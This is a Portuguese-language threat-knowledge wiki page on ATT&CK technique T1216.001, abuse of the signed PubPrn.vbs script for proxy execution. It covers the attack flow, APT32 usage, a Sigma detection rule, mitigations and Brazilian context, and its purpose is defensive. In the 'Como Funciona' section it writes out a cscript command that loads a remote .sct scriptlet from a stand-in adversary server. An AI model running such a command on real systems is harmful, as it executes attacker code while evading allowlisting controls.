# T1216.001 - PubPrn ## Técnica Pai Sub-técnica de [[t1216-system-script-proxy-execution|T1216 - System Script Proxy Execution]], que abrange o uso de scripts legítimos assinados pela Microsoft para execução proxy de código malicioso, contornando controles de aplicação como AppLocker e Windows Defender Application Control (WDAC). ## Descrição Adversários podem abusar do script `PubPrn.vbs` para executar código malicioso hospedado remotamente por meio de um binário e script legítimos e assinados pela Microsoft. O `PubPrn.vbs` é um script [[t1059-005-visual-basic|Visual Basic Script]] originalmente projetado para públicar impressoras em serviços de domínio do Active Directory (AD DS). Por ser assinado pela Microsoft e parte integrante do sistema operacional Windows, ele representa um vetor atraente para a técnica de Living-off-the-Land (LotL). O script é normalmente executado via [[t1059-003-windows-command-shell|Windows Command Shell]] usando o interpretador `Cscript.exe`. Sua funcionalidade legítima é públicar impressoras no AD, passando como primeiro parâmetro o servidor de impressão e como segundo parâmetro o caminho LDAP do contêiner de destino. O abuso consiste em substituir o segundo parâmetro por um moniker `script:` apontando para um arquivo scriptlet (`.sct`) hospedado remotamente via HTTP ou HTTPS. A técnica é particularmente eficaz porque o `PubPrn.vbs` carrega e executa o scriptlet remoto sem válidação adequada do protocolo no segundo parâmetro em versões mais antigas do Windows - contornando controles baseados em assinatura de código, pois o script em si é legítimo e assinado. Em versões modernas do Windows 10 e posteriores, a Microsoft corrigiu essa lacuna limitando o segundo parâmetro ao protocolo `LDAP://`, bloqueando o uso de `script:` para referências remotas. ## Como Funciona O fluxo de execução do abuso explora a forma como o `PubPrn.vbs` processa seus parâmetros de entrada sem válidação suficiente de esquema de URL em versões vulneráveis: 1. **Preparação do payload:** o adversário cria um arquivo scriptlet `.sct` (XML com código VBScript ou JScript embutido) e o hospeda em servidor web controlado por ele, acessível via HTTPS. 2. **Execução via linha de comando:** o adversário executa o seguinte comando no host comprometido: `cscript.exe C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs 127.0.0.1 script:https://servidor-adversario.com/payload.sct` 3. **Carregamento remoto:** o `PubPrn.vbs` processa o segundo parâmetro e, interpretando o moniker `script:`, faz uma requisição HTTP(S) ao servidor remoto e carrega o conteúdo do `.sct`. 4. **Execução do scriptlet:** o mecanismo COM do Windows instancia o scriptlet remoto e executa o código nele contido com os privilégios do processo `Cscript.exe` - tipicamente os mesmos do usuário logado. 5. **Evasão:** soluções de segurança que verificam apenas assinatura de código do binário ou script executado verão apenas `cscript.exe` executando `pubprn.vbs` (ambos legítimos), sem inspecionar o conteúdo do segundo parâmetro ou a requisição de rede gerada. O ataque é classificado como proxy de execução porque o código malicioso nunca é gravado em disco no host comprometido antes da execução - reduzindo a superfície de detecção para soluções de EDR baseadas em análise de arquivos. ## Attack Flow ```mermaid graph TB A[Acesso inicial ao host Windows] --> B[Localização do PubPrn.vbs<br/>C:\Windows\System32\Printing_Admin_Scripts] B --> C[Hospedagem de scriptlet .sct<br/>em servidor remoto controlado] C --> D[Execução via Cscript.exe<br/>com parâmetro script: remoto] D --> E[Requisição HTTP/HTTPS<br/>para servidor adversário] E --> F[Carregamento e execução<br/>do scriptlet remoto via COM] F --> G[Payload executado em memória<br/>sem gravação em disco] G --> H[Evasão de AppLocker<br/>e controles de assinatura] H --> I[Execução de comando C2<br/>Download de stage seguinte<br/>Movimento lateral] ``` ## Exemplos de Uso **APT32 (OceanLotus):** O grupo vietnamita [[g0050-apt32|APT32]] é o ator ameaça mais documentado utilizando `PubPrn.vbs` como vetor de execução. Em campanhas direcionadas a organizações no Sudeste Asiático e em empresas multinacionais, o grupo utilizou essa técnica para executar payloads de segunda etapa hospedados em infraestrutura C2, contornando soluções de segurança baseadas em listas de permissão. O APT32 é conhecido por sofisticação técnica e uso extensivo de LOLBins (Living-off-the-Land Binaries). A técnica é frequentemente combinada com [[t1059-005-visual-basic|abuso de VBScript]], [[t1071-001-web-protocols|comúnicações C2 via protocolos web]] e [[t1027-obfuscated-files-or-information|ofuscação de payload]] para dificultar análise e detecção. ## Detecção ```yaml title: Detecção - Execução Proxy via PubPrn.vbs com Referência Remota status: stable logsource: category: process_creation product: windows detection: selection_pubprn: Image|endswith: - "\cscript.exe" - "\wscript.exe" CommandLine|contains: - "pubprn" - "pubprn.vbs" selection_remote_script: CommandLine|contains: - "script:" - "http://" - "https://" selection_network: EventType: "network_connection" Image|endswith: "\cscript.exe" Initiated: "true" condition: (selection_pubprn and selection_remote_script) or selection_network level: high ``` > Monitorar também eventos de auditoria de processo (Event ID 4688) e logs do Sysmon (Event ID 1 - Process Creaté, Event ID 3 - Network Connection) correlacionando `cscript.exe` gerando conexões de rede não esperadas. ## Mitigação | ID | Mitigação | Descrição | |----|-----------|-----------| | M1038 | [[m1038-execution-prevention\|M1038 - Execution Prevention]] | Implementar AppLocker ou WDAC com regras que bloqueiem execução de scripts VBS por usuários não privilegiados; bloquear `pubprn.vbs` específicamente se não há necessidade de uso em ambiente | | M1040 | [[m1040-behavior-prevention-on-endpoint\|M1040 - Behavior Prevention on Endpoint]] | Soluções de EDR com análise comportamental devem detectar `cscript.exe` ou `wscript.exe` realizando requisições de rede não esperadas ou executando scriptlets remotos | ## Contexto Brasil/LATAM O abuso de scripts legítimos do Windows como `PubPrn.vbs` é uma técnica amplamente utilizada em campanhas contra organizações brasileiras e latino-americanas, particularmente em ataques de espionagem corporativa e campanhas de [[t1566-phishing|phishing]] direcionado (spear-phishing). A técnica LotL é especialmente eficaz em ambientes onde soluções de segurança são configuradas para confiar em binários e scripts assinados pela Microsoft. O [[g0050-apt32|APT32]], principal ator documentado usando esta sub-técnica, tem histórico de campanhas contra empresas multinacionais com operações no Vietnã e no Sudeste Asiático - com potencial interesse em filiais e parceiros na América Latina, especialmente em setores de manufatura, energia e governo. Equipes de segurança no Brasil devem aténtar para o fato de que versões desatualizadas do Windows (anteriores ao Windows 10 com patches recentes) permanecem vulneráveis a essa técnica. Ambientes com grande parque de sistemas legados - comuns em órgãos públicos e empresas de médio porte no Brasil - são especialmente suscetíveis. A mitigação mais eficaz é a atualização do sistema operacional e a implementação de políticas de execução de scripts via Group Policy Objects (GPO), complementada por monitoramento de processos e conexões de rede incomuns originadas por interpretadores de script. ## Referências - [[t1216-system-script-proxy-execution|T1216 - System Script Proxy Execution]] - [[g0050-apt32|APT32 (OceanLotus)]] - [[t1059-005-visual-basic|T1059.005 - Visual Basic]] - [[t1059-003-windows-command-shell|T1059.003 - Windows Command Shell]] - [[m1038-execution-prevention|M1038 - Execution Prevention]] - [[m1040-behavior-prevention-on-endpoint|M1040 - Behavior Prevention on Endpoint]] - [[t1027-obfuscated-files-or-information|T1027 - Obfuscated Files or Information]] - [[t1218-system-binary-proxy-execution|T1218 - System Binary Proxy Execution]] *Fonte: MITRE ATT&CK - T1216.001*